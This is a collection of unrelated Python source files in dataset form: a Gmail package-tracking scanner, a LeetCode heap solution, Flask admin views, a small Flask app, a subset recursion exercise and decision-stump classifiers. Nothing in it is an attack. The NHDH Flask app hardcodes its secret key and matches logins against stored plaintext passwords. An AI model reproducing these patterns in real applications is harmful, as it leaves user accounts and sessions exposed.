Tracking.Packages import Packages\n\n\ntry:\n import argparse\n flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/gmail-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/gmail.readonly'\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'Gmail API Python Quickstart'\n\n# logger = logging.getLogger('GMail')\n\n\nclass Gmail:\n \"\"\" A Class for interfacing with Gmail\"\"\"\n\n def __init__(self):\n \"\"\"\n Constructor for Gmail\n Initilizes the conection to the Gmail servers.\n \"\"\"\n\n self._log = logging.getLogger(self.__class__.__name__)\n\n self.credentials = self.get_credentials()\n self.http = self.credentials.authorize(httplib2.Http())\n self.service = discovery.build('gmail', 'v1', http=self.http)\n self.newest_history_id_retrieved = None\n\n self.email = [] # stores the last 100 downloaded emails.\n self._new_email = []\n self.new_email_callback = lambda x: None\n\n @property\n def new_email(self):\n return self._new_email\n\n @new_email.setter\n def new_email(self, value):\n self._new_email = value\n self.new_email_callback(self._new_email)\n\n\n def get_recent_messages(self):\n filter_params = 'in: all -label:\"Trash\" -label:\"Spam\"'\n if self.newest_history_id_retrieved is None:\n # We have no record of the last message we have stored (this is probably the first run)\n # Preform a full sync\n\n message_ids = self.full_email_sync()['messages']\n else:\n try:\n message_ids, new_history_id = self.incremental_email_sync()\n except errors.HttpError:\n self._log.warning(\n \"Partial sync encountered a 404 error. The HistoryID may be out of date or invalid. \\\n Preforming full sync.\")\n message_ids = self.full_email_sync()['messages']\n\n if message_ids is None:\n # no new emails to retrieve\n return False\n\n new_messages = []\n for message_id in message_ids:\n try:\n mime_msg, gmail_msg = self.get_mime_message(self.service, \"me\", message_id['id'])\n except TypeError as e:\n self._log.exception(\"Exception getting Messages. Forcing full sync\")\n self.newest_history_id_retrieved = None\n return False\n\n unpacked_msg = self.unpack_email(mime_msg, gmail_msg, message_id['id'])\n new_messages.append(unpacked_msg)\n\n if len(new_messages) > 0:\n self.new_email = copy.deepcopy(new_messages)\n self.email = new_messages + self.email # append new emails to the beginning of the list to preserve order\n\n try:\n self.newest_history_id_retrieved = new_history_id\n except NameError:\n self.newest_history_id_retrieved = self.email[0]['gmail_object']['historyId']\n\n return True\n\n\n def full_email_sync(self, number=250, call_count=0):\n \"\"\"\n Preforms a full email sync and clears the email buffer if there are email present\n\n Returns:\n messages().list() response from google\n \"\"\"\n\n if len(self.email) > 0:\n # Clear email buffer when preforming a full sync\n self.email = []\n try:\n response = self.service.users().messages().list(userId=\"me\", maxResults=10, includeSpamTrash=False).execute()\n except httplib2.HttpLib2Error as e:\n\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"HttpLib2 Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.full_email_sync(call_count=new_count)\n else:\n raise e\n\n except Exception as e:\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"Unknown Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.incremental_email_sync(call_count=new_count)\n else:\n raise e\n\n messages = response['messages']\n need_more_emails = True\n while need_more_emails:\n if len(messages) >= number:\n break\n if 'nextPageToken' in response:\n try:\n response = self.service.users().messages().list(userId=\"me\", pageToken=response['nextPageToken'],\n maxResults=10, includeSpamTrash=False).execute()\n except httplib2.HttpLib2Error as e:\n\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"HttpLib2 Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.full_email_sync(call_count=new_count)\n else:\n raise e\n\n except Exception as e:\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"Unknown Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.incremental_email_sync(call_count=new_count)\n else:\n raise e\n\n messages.extend(response['messages'])\n else:\n break\n\n return {'messages': messages}\n\n\n def incremental_email_sync(self, call_count=0):\n \"\"\"\n Preforms an incremental sync from the last history id recorded\n\n Returns: A list of message ids or None if there are no new messages\n\n \"\"\"\n try:\n history = self.service.users().history().list(userId=\"me\",\n startHistoryId=self.newest_history_id_retrieved).execute()\n except httplib2.HttpLib2Error as e:\n\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"HttpLib2 Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.incremental_email_sync(call_count=new_count)\n else:\n raise e\n\n except Exception as e:\n if call_count < 5:\n new_count = call_count + 1\n self._log.exception(\"Unknown Error. Retrying in {} seconds.\".format(new_count))\n time.sleep(new_count)\n return self.incremental_email_sync(call_count=new_count)\n else:\n raise e\n\n if 'history' not in history:\n # No new messages to download\n self.newest_history_id_retrieved = history['historyId']\n return None, None\n\n message_ids = []\n for event in history['history']:\n if 'messagesAdded' in event:\n message_ids.append({'id': event['messagesAdded'][0]['message']['id']})\n if len(event['messagesAdded']) > 1:\n print(\"History message has more than 1 entry!!! WAT???!!!\")\n\n if len(message_ids) < 1:\n # No added messages were in the response.\n self.newest_history_id_retrieved = history['historyId']\n return None, None\n\n return message_ids, history['historyId']\n\n\n def get_mime_message(self, service, user_id, msg_id, count=0):\n \"\"\"Get a Message and use it to create a MIME Message.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n msg_id: The ID of the Message required.\n\n Returns:\n A MIME Message, consisting of data from Message.\n \"\"\"\n try:\n message = service.users().messages().get(userId=user_id, id=msg_id,\n format='raw').execute()\n\n print('Message snippet: %s' % message['snippet'])\n\n msg_str = base64.urlsafe_b64decode(message['raw'].encode('ASCII'))\n decoded_str = msg_str.decode('utf-8', errors='ignore')\n mime_msg = email.message_from_string(decoded_str)\n\n return mime_msg, message\n except errors.HttpError as error: # TODO: figure out how to detect Not Found\n self._log.exception('An error occurred:')\n if count < 5:\n ncount = count + 1\n time.sleep(ncount)\n return self.get_mime_message(service, user_id, msg_id, ncount)\n else:\n self._log.critical(\"Exceeded max number of retries. Skipping message.\")\n\n\n #region Gmail Interface Methods\n \"\"\" --- Gmail Interface Methods --- \"\"\"\n @staticmethod\n def get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir,\n 'gmail-python-quickstart.json')\n\n store = oauth2client.file.Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run(flow, store)\n print('Storing credentials to ' + credential_path)\n return credentials\n\n #endregion\n\n #region Email Unpacking\n \"\"\" --- Gmail Email Depacking Methods --- \"\"\"\n # def get_bodies(self, payload):\n #\n # bodies = []\n # if payload[\"mimeType\"].startswith(\"multipart\"):\n # for part in payload[\"parts\"]:\n # new_body = self.get_bodies(part)\n # if new_body is not None:\n # bodies.extend(new_body)\n # return bodies\n #\n # elif payload[\"mimeType\"].startswith(\"text\"):\n # return [payload[\"body\"][\"data\"]]\n #\n # else:\n # print(\"Unknown mimeType: \" + payload[\"mimeType\"])\n # return None\n\n def unpack_body(self, _email):\n body_list = self.unpack_body_worker(_email)\n ret_body = \"\"\n for body in body_list:\n ret_body += (\" \" + body)\n\n return ret_body\n\n\n def unpack_body_worker(self, _email):\n\n bodies = []\n if _email.is_multipart():\n for part in _email.get_payload():\n new_body = self.unpack_body_worker(part)\n if new_body is not None:\n bodies.extend(new_body)\n return bodies\n\n else:\n return [_email.get_payload()]\n\n\n def decode_international_header(self, _header_string):\n\n if _header_string is not None:\n decoded_subjects = email.header.decode_header(_header_string)\n\n tmp_subject = \"\"\n for decoded_subject in decoded_subjects:\n\n if decoded_subject[1] is not None:\n tmp_subject += decoded_subject[0].decode(decoded_subject[1])\n else:\n if isinstance(decoded_subject[0], bytes):\n tmp_subject += decoded_subject[0].decode()\n else:\n tmp_subject += decoded_subject[0]\n return tmp_subject\n else:\n return None\n\n\n def parse_email_address(self, _address):\n \"\"\"\n\n :param _address:\n :type _address:\n :return: (Sender Name, Sender Address)\n :rtype: (str, str)\n \"\"\"\n decoded_address = self.decode_international_header(_address)\n search = re.search(r\"(.*) <(.*)>\", decoded_address)\n if search is not None:\n return search.groups()\n else:\n return (None, decoded_address)\n\n\n def unpack_email(self, _email, _gmail_obj, _id):\n p_email = {}\n p_email['email_object'] = _email\n p_email['gmail_object'] = _gmail_obj\n p_email['to'] = _email['to']\n p_email['from_name'], p_email['from_address'] = self.parse_email_address(_email['from'])\n p_email['subject'] = self.decode_international_header(_email['subject'])\n p_email['body'] = self.unpack_body(_email)\n p_email['id'] = _id\n\n return p_email\n\n #endregion\n\n ''' --- Search Code --- '''\n\n\ndef old_manual_method():\n pass\n # credentials = get_credentials()\n # http = credentials.authorize(httplib2.Http())\n # service = discovery.build('gmail', 'v1', http=http)\n #\n\n #\n # message_results = service.users().messages().list(userId=\"me\", includeSpamTrash=False).execute()\n #\n # messages = []\n # for message_id in message_results[\"messages\"]:\n # # message_response = service.users().messages().get(userId=\"me\", id=message_id['id'], format=\"full\").execute()\n #\n # mime_msg = get_mime_message(service, \"me\", message_id['id'])\n # unpacked_msg = unpack_email(mime_msg, message_id['id'])\n # messages.append(unpacked_msg)\n #\n # packages = Packages()\n # for message in messages:\n # carrier, trackingNum = search_for_tracking(message[\"body\"])\n # if carrier is not None:\n # print(\"Found {} Tracking number {} in email: {} from {}\".format(carrier, trackingNum, message[\"subject\"],\n # message[\"from_address\"]))\n # packages.add_package(carrier, trackingNum, name=message[\"from_address\"], )\n #\n # for package in packages.packages:\n # \"\"\"type: Package\"\"\"\n # package.get_tracking_data()\n\n\ndef test_callback(_email):\n print(\"{} New emails received\".format(len(_email)))\n\n\ndef main():\n \"\"\"Shows basic usage of the Gmail API.\n\n Creates a Gmail API service object and outputs a list of label names\n of the user's Gmail account.\n \"\"\"\n import time\n gmail_interface = Gmail()\n gmail_interface.new_email_callback = test_callback\n\n count = 100\n for i in range(count):\n success = gmail_interface.get_recent_messages()\n\n if success:\n print(\"New emails received\")\n else:\n print(\"No new emails\")\n print(\"delaying for 1 minute check for new emails\")\n time.sleep(20)\n\n\n print(\"Done\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"lilbowser/Package_Tracking_Alerter","sub_path":"GmailScanner.py","file_name":"GmailScanner.py","file_ext":"py","file_size_in_byte":15453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32324506635","text":"# 23. Merge k Sorted Lists\n# You are given an array of k linked-lists lists, each linked-list is sorted in ascending order.\n#\n# Merge all the linked-lists into one sorted linked-list and return it.\n\nfrom typing import List, Optional\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n def __repr__(self):\n node = self\n result = []\n while node is not None:\n result.append(node.val)\n node = node.next\n return str(result)\n\n\ndef create_list_node(l: List[int]):\n head = ListNode(l[0])\n node = head\n for i in range(1, len(l)):\n node.next = ListNode(l[i])\n node = node.next\n return head\n\n\n# 2023-01-26 18:31:14\n# original but not efficient\nclass Solution:\n def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:\n k = len(lists)\n result_head = ListNode()\n # use a heap that keeps k elements\n heap = []\n for i in range(k):\n head = lists[i]\n while head is not None:\n heap.append(head.val)\n head = head.next\n heap_size = len(heap)\n for i in range(heap_size // 2, -1, -1):\n self.heapify(heap, heap_size, i)\n node = result_head\n for _ in range(heap_size):\n heap_size -= 1\n node.next = ListNode(heap[0])\n node = node.next\n heap[0], heap[heap_size] = heap[heap_size], heap[0]\n self.heapify(heap, heap_size, 0)\n return result_head.next\n\n def heapify(self, heap: List[int], heap_size: int, i: int):\n while i < heap_size:\n smallest = i\n left = (i << 1) + 1\n right = left + 1\n if left < heap_size and heap[left] < heap[smallest]:\n smallest = left\n if right < heap_size and heap[right] < heap[smallest]:\n smallest = right\n if smallest != i:\n heap[i], heap[smallest] = heap[smallest], heap[i]\n i = smallest\n else:\n break\n\n\n# 2023-01-26 18:30:17\n# original and efficient\n# time complexity: O(nlg(k))\n# space complexity: O(n)\nclass Solution2:\n def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:\n heap = [lst for lst in lists if lst is not None]\n k = len(heap)\n if k == 0:\n return None\n # heapify the whole heap\n for i in range(k // 2, -1, -1):\n self.heapify(heap, k, i)\n result_head = ListNode()\n node = result_head\n while heap[0] is not None:\n # \"extract\" the min\n node.next = heap[0]\n node = node.next\n heap[0] = heap[0].next\n if heap[0] is None:\n k -= 1\n heap[0], heap[k] = heap[k], heap[0]\n self.heapify(heap, k, 0)\n return result_head.next\n\n def heapify(self, heap: List[ListNode], heap_size: int, i: int):\n while i < heap_size:\n smallest = i\n left = (i << 1) + 1\n right = left + 1\n if left < heap_size and heap[left].val < heap[smallest].val:\n smallest = left\n if right < heap_size and heap[right].val < heap[smallest].val:\n smallest = right\n if smallest != i:\n heap[i], heap[smallest] = heap[smallest], heap[i]\n i = smallest\n else:\n break\n\n\ns = Solution2()\nprint(s.mergeKLists(\n [create_list_node([1, 4, 5]), create_list_node([1, 3, 4]), create_list_node([2, 6])]))\nprint(s.mergeKLists([None, create_list_node([1])]))\n","repo_name":"ScottCTD/Programming-Practices","sub_path":"LeetCode/python/Q23.py","file_name":"Q23.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10976524153","text":"import os\nimport json\nimport jsons\nfrom Classes.offers.categories import categories\nfrom Classes.offers.offer import offer\nfrom Classes.offers.tags import tags\n\nclass offerManager:\n\n def __init__(self, offersDir=\".\\\\Offers\\\\\", offersData=\"offers.json\"):\n self.__offers = None\n self.offersDir = offersDir\n self.offersData = offersData\n\n def save(self):\n with open(self.offersData, \"w\") as f:\n data = {}\n for i in range(len(self.__offers)):\n data[str(i)] = self.__offers[i].toJSON()\n json.dump(data, f, indent=4)\n\n def getAll(self):\n\n if not os.path.exists(self.offersDir):\n os.makedirs(self.offersDir)\n\n if self.__offers == None:\n # try:\n self.__offers = []\n with open(self.offersData) as f:\n data = list(json.load(f).values())\n for i in data:\n self.__offers.append(offer(i))\n # except:\n # self.__offers = []\n # self.save() \n\n return self.__offers\n\n\n def searchByName(self, name): #offer name\n res = []\n for i in self.__offers:\n if name in i.name:\n res.append(i)\n return res\n\n def searchByCategory(self, category):\n lookFor = []\n for i in categories.getAllList():\n if category in str(i).replace('categories.',''):\n lookFor.append(i)\n \n res = []\n for o in self.__offers:\n for c in lookFor:\n if c in o.categories:\n res.append(o)\n continue\n return res\n \n def searchByTag(self, tag):\n lookFor = []\n for i in tags.getAllList():\n if tag in str(i).replace('tags.',''):\n lookFor.append(i)\n \n res = []\n for o in self.__offers:\n for t in lookFor:\n if t in o.tags:\n res.append(o)\n continue\n return res\n \n def searchByTags(self, tags):\n tags = [str(x) for x in tags]\n res = []\n for i in self.__offers:\n if all(item in tags for item in i.tags):\n res.append(i)\n return res\n\n def searchByCustomerName(self, name):\n res = []\n for i in self.__offers:\n if name in i.customerName:\n res.append(i)\n return res\n\n def addOffer(self, offer):\n self.__offers.append(offer)\n self.save()\n return True\n","repo_name":"tecno14/Offer-Management-Program-Simple-Python-Program-","sub_path":"Classes/offers/offerManager.py","file_name":"offerManager.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23361520875","text":"from flask import render_template, abort, flash, redirect, url_for\nfrom flask_login import login_required, current_user\n\nfrom . import admin\nfrom .forms import DepartmentForm, RoleForm, EmployeeAsignForm\n\nfrom .. import db\nfrom ..models import Department, Role, Employee\n\n\n\ndef check_admin():\n \"\"\"\n Gives access to admin only!\n \"\"\"\n if not current_user.is_admin:\n abort(403)\n\n\n@admin.route(\"/departments\", methods=[\"GET\"])\n@login_required\ndef department_list():\n \"\"\"\n If user is admin, then renders /admin/department template!\n \"\"\"\n check_admin()\n departments = Department.query.all()\n\n return render_template(\"admin/departments/departments.html\", departments = departments, title=\"Departments\")\n\n\n@admin.route(\"/departments/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef department_add():\n \"\"\"\n If user is admin, renders template to add departments!\n \"\"\"\n check_admin()\n add_department = True\n form = DepartmentForm()\n \n if form.validate_on_submit():\n department = Department(name=form.name.data, description=form.description.data)\n\n try:\n # Adding to the database\n db.session.add(department)\n db.session.commit()\n flash(\"Department successfully added!\")\n return redirect(url_for(\"admin.department_list\"))\n\n except:\n # Issuing rollback\n db.session.rollback()\n flash(\"Department Already Exists!\") \n\n return render_template(\"admin/departments/department.html\", action=\"Add\", add_department=add_department, form=form, title=\"Add Department\")\n\n\n@admin.route(\"/departments/edit/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef department_edit(id):\n \"\"\"\n If user is admin, renders template to edit department!\n \"\"\"\n check_admin()\n add_department = False\n\n department = Department.query.get_or_404(id)\n form = DepartmentForm(obj=department)\n\n if form.validate_on_submit():\n department.name = form.name.data\n department.description = form.description.data\n \n try:\n # Commiting to the database\n db.session.commit()\n flash(\"Department Edited Succesfully!\")\n\n return redirect(url_for(\"admin.department_list\"))\n\n except:\n # Issuing rollback\n db.session.rollback()\n flash(\"Editting Department Failed!\")\n\n form.name.data = department.name\n form.description.data = department.description\n return render_template(\"admin/departments/department.html\", action=\"Edit\", add_department=add_department, form=form, department=department, title=\"Edit Department\")\n\n\n@admin.route(\"/departments/delete/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef department_delete(id):\n \"\"\"\n If user is admin, renders template to delete department!\n \"\"\"\n check_admin()\n \n department = Department.query.get_or_404(id)\n \n try:\n db.session.delete(department)\n db.session.commit()\n flash(\"Department Deleted!\")\n\n except:\n db.session.rollback()\n flash(\"Department Deletion failed!\")\n \n return redirect(url_for(\"admin.department_list\"))\n\n\n@admin.route(\"/roles\")\n@login_required\ndef role_list():\n \"\"\"\n If user is admin renders roles/roles.html template!\n \"\"\"\n check_admin()\n\n roles = Role.query.all()\n\n return render_template(\"admin/roles/roles.html\", roles = roles, title=\"Roles\")\n\n\n@admin.route(\"/roles/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef role_add():\n \"\"\"\n If user is admin render roles/role.html template!\n \"\"\"\n check_admin()\n add_role = True\n form = RoleForm()\n\n if form.validate_on_submit():\n role = Role(name=form.name.data, description=form.description.data)\n\n try:\n db.session.add(role)\n db.session.commit()\n flash(\"Role Added Sucessfully!\")\n return redirect(url_for(\"admin.role_list\"))\n except:\n db.session.rollback()\n flash(\"Role Addition failed!\")\n\n return render_template(\"admin/roles/role.html\", add_role=add_role, form=form, title=\"Add Role\")\n\n\n@admin.route(\"/roles/edit/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef role_edit(id):\n \"\"\"\n If user is admin, render roles/role.html template,\n And allows edit to edit role!\n \"\"\"\n check_admin()\n add_role = False\n\n role = Role.query.get_or_404(id)\n form = RoleForm(obj=role)\n\n if form.validate_on_submit():\n role.name = form.name.data\n role.description = form.description.data\n\n try:\n db.session.commit()\n flash(\"Role Edited!\")\n return redirect(url_for(\"admin.role_list\"))\n\n except:\n db.session.rollback()\n flash(\"Editting Role failed!\")\n\n form.name.data = role.name\n form.description.data = role.description\n\n return render_template(\"admin/roles/role.html\", add_role=add_role, form=form, role=role, title=\"Edit Role\")\n\n@admin.route(\"/roles/delete/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef role_delete(id):\n \"\"\"\n If user is admin, deletes the role and redirect!\n \"\"\"\n check_admin()\n\n role = Role.query.get_or_404(id)\n\n try:\n db.session.delete(role)\n db.session.commit()\n flash(\"Role deleted successfully!\")\n \n except:\n db.session.rollback()\n flash(\"Role deletion Uncessfull!\")\n \n return redirect(url_for(\"admin.role_list\"))\n\n\n@admin.route(\"/employees\")\n@login_required\ndef employee_list():\n \"\"\"\n If user is admin, returns the list of all the employees!\n \"\"\"\n\n check_admin()\n\n employees = Employee.query.all()\n\n return render_template(\"admin/employees/employees.html\", employees = employees, title=\"Employees\")\n\n@admin.route(\"/employees/assign/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef employee_assign(id):\n \"\"\"\n If user is admin, gives it access to assign department and roles to the employees!\n \"\"\"\n check_admin()\n\n employee = Employee.query.get_or_404(id)\n\n if employee.is_admin:\n flash(\"Employee is Admin!\")\n return redirect(url_for(\"admin.employee_list\"))\n \n form = EmployeeAsignForm(obj=employee)\n\n if form.validate_on_submit():\n employee.department = form.department.data\n employee.role = form.role.data\n\n try:\n db.session.add(employee)\n db.session.commit()\n flash(\"Succesfully assigned Department and Role!\")\n\n except:\n db.session.rollback()\n flash(\"Failed to assign Department and Role\")\n\n return redirect(url_for(\"admin.employee_list\"))\n\n return render_template(\"admin/employees/employee.html\", form=form, employee=employee, tittle=\"Assign Employee\")","repo_name":"abhaypainuly/Employee-Management-System","sub_path":"app/admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29191972128","text":"# This problem can be approached by designing recursive tree\n\n# op:\"\":ip:\"ab\"\n# / \\\n# / \\\n# / \\\n# op:\"\";ip:\"b\" op:\"a\";ip:\"b\"\n# / \\ / \\\n# / \\ / \\\n# / \\ / \\\n# op:\"\";ip:\"\" op\"b\";ip:\"\" op:\"a\";ip:\"\" op:\"ab\"; ip:\"\"\n\n# At each step one time 1st item in ip string is included in op other time not\n# output is when when put becomes empty.\n# Difference b/w subset, substring and sub subsequence\n# Lets say given string is \"abc\"\n# subset = [\"\", a, b, c, ab, bc, ac, abc]\n# substring = Sub string are always continuous. ac is not continuous in abc\n# subsequence = here order of a character in a give string matters. It should be maintained while making subsequence\n# for \"abc\", ac is subsequence but ca is not\n\n# All substrings are subsequences and all subsequences are subset\n\n\ndef sub_string(i_string, o_string):\n if len(i_string) == 0:\n if len(o_string) == 0:\n print(\"''\")\n else:\n print(o_string)\n return\n o_string_1 = o_string\n o_string_2 = o_string+i_string[0]\n\n sub_string(i_string[1:], o_string_1)\n sub_string(i_string[1:], o_string_2)\n\n\nsub_string(\"abc\", \"\")\n","repo_name":"cspandit/Python-DS-and-Algo","sub_path":"recursion/recursive_tree_problems/all_subsets.py","file_name":"all_subsets.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42483057776","text":"#!/usr/bin/env python\n__author__ = 'monkee'\n__version__ = '1.1.0'\n\n# @todo df.groupby(['SubscribtionId', 'BlendedCost'])\n# @todo select key/header to group on\n# @todo go back in time for a fetch as a dropdown\n# @todo detailed csv/pdf as an attachment\n# @todo filenames as keys\n# @todo add config.yml as actual app configuration items\n\n\nimport os\nimport locale\nimport yaml\nfrom flask import Flask, render_template,request, redirect, url_for\n\nfrom NHDH.modules.cache import cache as cache\n\nfrom flask.ext.sqlalchemy import SQLAlchemy\n\n#immutable configuration items\nlocale.setlocale(locale.LC_ALL, '')\n\n#app configuration items\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.abspath('NHDH/nhdh.sqlite')\ndb = SQLAlchemy(app)\napp.secret_key = 'sdakjkdsjksjkjaskjdkaskjdkjkjdkjkjkjdksjkajlkjaskljdkljklsdj'\napp.config['UPLOAD_FOLDER'] = os.path.abspath('NHDH/csv')\napp.config['CONFIG_FILE'] = os.path.abspath('NHDH/conf/config.yml')\napp.config['ALLOWED_EXTENSIONS'] = set(['zip'])\napp.config['CSV_FOLDER'] = os.path.abspath('NHDH/csv/')\n\n#Identity\nfrom flask.ext.principal import Principal, PermissionDenied\nprincipals = Principal(app, skip_static=True)\n\n#flask-login\nfrom flask.ext.login import LoginManager\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\nlogin_manager.login_view = 'login'\n@login_manager.user_loader\ndef load_user(id):\n return User.User.query.get(int(id))\n\nfrom flask import Flask,session, request, flash, url_for, redirect, render_template, abort ,g\nfrom flask.ext.login import login_user , logout_user , current_user , login_required\n\n\n@app.route('/login',methods=['GET','POST'])\ndef login():\n if request.method == 'GET':\n return render_template('login.html')\n email = request.form['email']\n password = request.form['password']\n remember_me = False\n if 'remember_me' in request.form:\n remember_me = True\n registered_user = User.User.query.filter_by(email=email,password=password).first()\n if registered_user is None:\n flash('Email or Password is invalid' , 'error')\n return redirect(url_for('login'))\n login_user(registered_user, remember = remember_me)\n flash('Logged in successfully')\n return redirect('/')\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect('/')\n\n@app.before_request\ndef before_request():\n g.user = current_user\n\n@app.errorhandler(PermissionDenied)\ndef handle_permission_error(error):\n #TODO Log permission error\n return render_template('403.html'), 403\n\n@app.errorhandler(404)\ndef not_found(error):\n return render_template('404.html'), 404\n\n#import yaml here\nconfigStr = open(app.config['CONFIG_FILE'], 'r')\napp.config['CONFIG'] = yaml.load(configStr)\n\n#cache init here\ncache.init_app(app, config={'CACHE_TYPE': 'simple'})\n\nfrom NHDH.models import User\n\n#import views here\nfrom NHDH.views.main import main as main\napp.register_blueprint(main)","repo_name":"monk-ee/NHDH","sub_path":"NHDH/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"17053535517","text":"import numpy as np\nimport utils\n\nclass DecisionStump:\n\n def __init__(self):\n pass\n\n def fit(self, X, y):\n # N represents the number of rows (objects)\n # D represents the number of columns (features)\n N, D = X.shape\n\n # y_mode is a vector containing the most common label for EVERY prediction\n y_mode = utils.mode(y)\n\n splitSat = y_mode\n splitVariable = None\n splitValue = None\n splitNot = None\n\n # our base minimum error rate\n minError = np.sum(y != y_mode)\n\n # Check if labels are not all equal\n if np.unique(y).size > 1:\n # Loop over features looking for the best split\n X = np.round(X) # discretize by rounding to integers\n\n for d in range(D):\n for n in range(N):\n # Choose value to equate to\n value = X[n, d]\n\n # Find most likely class for each split\n y_sat = utils.mode(y[X[:,d] > value])\n y_not = utils.mode(y[X[:,d] <= value])\n\n # Make predictions\n y_pred = y_sat * np.ones(N) # y_pred is a vector\n y_pred[X[:, d] <= value] = y_not # take the subset vector where that \"value\" was less than or equal then the value we are comparing and set it to the y_not vector\n\n # Compute error\n errors = np.sum(y_pred != y)\n\n # Compare to minimum error so far\n if errors < minError:\n # This is the lowest error, store this value\n minError = errors\n splitVariable = d\n splitValue = value\n splitSat = y_sat # y_sat is a label\n splitNot = y_not # y_not is a label\n\n self.splitVariable = splitVariable\n self.splitValue = splitValue\n self.splitSat = splitSat\n self.splitNot = splitNot\n\n def predict(self, X):\n # M used here because we have a separate subset of our training dataset for validation / testing dataset\n M, D = X.shape\n # discretize by rounding to integers\n X = np.round(X)\n\n if self.splitVariable is None:\n return self.splitSat * np.ones(M) # bit confusing, but this means we didn't find a best rule, so we simply return the mode classifier vector\n\n yhat = np.zeros(M)\n\n for m in range(M):\n if X[m, self.splitVariable] > self.splitValue:\n yhat[m] = self.splitSat\n else:\n yhat[m] = self.splitNot\n\n return yhat\n\n\nclass DecisionStumpEquality:\n\n def __init__(self):\n pass\n\n\n def fit(self, X, y):\n N, D = X.shape\n\n y_mode = utils.mode(y)\n\n splitSat = y_mode\n splitVariable = None\n splitValue = None\n splitNot = None\n\n minError = np.sum(y != y_mode)\n\n # Check if labels are not all equal\n if np.unique(y).size > 1:\n # Loop over features looking for the best split\n X = np.round(X)\n\n for d in range(D):\n for n in range(N):\n # Choose value to equate to\n value = X[n, d]\n\n # Find most likely class for each split\n y_sat = utils.mode(y[X[:,d] == value])\n y_not = utils.mode(y[X[:,d] != value])\n\n # Make predictions\n y_pred = y_sat * np.ones(N)\n y_pred[X[:, d] != value] = y_not\n\n # Compute error\n errors = np.sum(y_pred != y)\n\n # Compare to minimum error so far\n if errors < minError:\n # This is the lowest error, store this value\n minError = errors\n splitVariable = d\n splitValue = value\n splitSat = y_sat\n splitNot = y_not\n\n self.splitVariable = splitVariable\n self.splitValue = splitValue\n self.splitSat = splitSat\n self.splitNot = splitNot\n\n\n def predict(self, X):\n\n M, D = X.shape\n X = np.round(X)\n\n if self.splitVariable is None:\n return self.splitSat * np.ones(M)\n\n yhat = np.zeros(M)\n\n for m in range(M):\n if X[m, self.splitVariable] == self.splitValue:\n yhat[m] = self.splitSat\n else:\n yhat[m] = self.splitNot\n\n return yhat\n\n\n\n# helper function. leaves zeros as zeros.\ndef log0(x):\n x = x.copy()\n x[x>0] = np.log(x[x>0])\n return x\n\n\nclass DecisionStumpInfoGain(DecisionStump):\n\n def fit(self, X, y, split_features=None):\n\n N, D = X.shape\n\n # Address the trivial case where we do not split\n count = np.bincount(y)\n\n # Compute total entropy (needed for information gain)\n p = count/np.sum(count); # Convert counts to probabilities\n entropyTotal = -np.sum(p*log0(p))\n\n maxGain = 0\n self.splitVariable = None\n self.splitValue = None\n self.splitSat = np.argmax(count)\n self.splitNot = None\n\n # Check if labels are not all equal\n if np.unique(y).size <= 1:\n return\n\n if split_features is None:\n split_features = range(D)\n\n for d in split_features:\n thresholds = np.unique(X[:,d])\n for value in 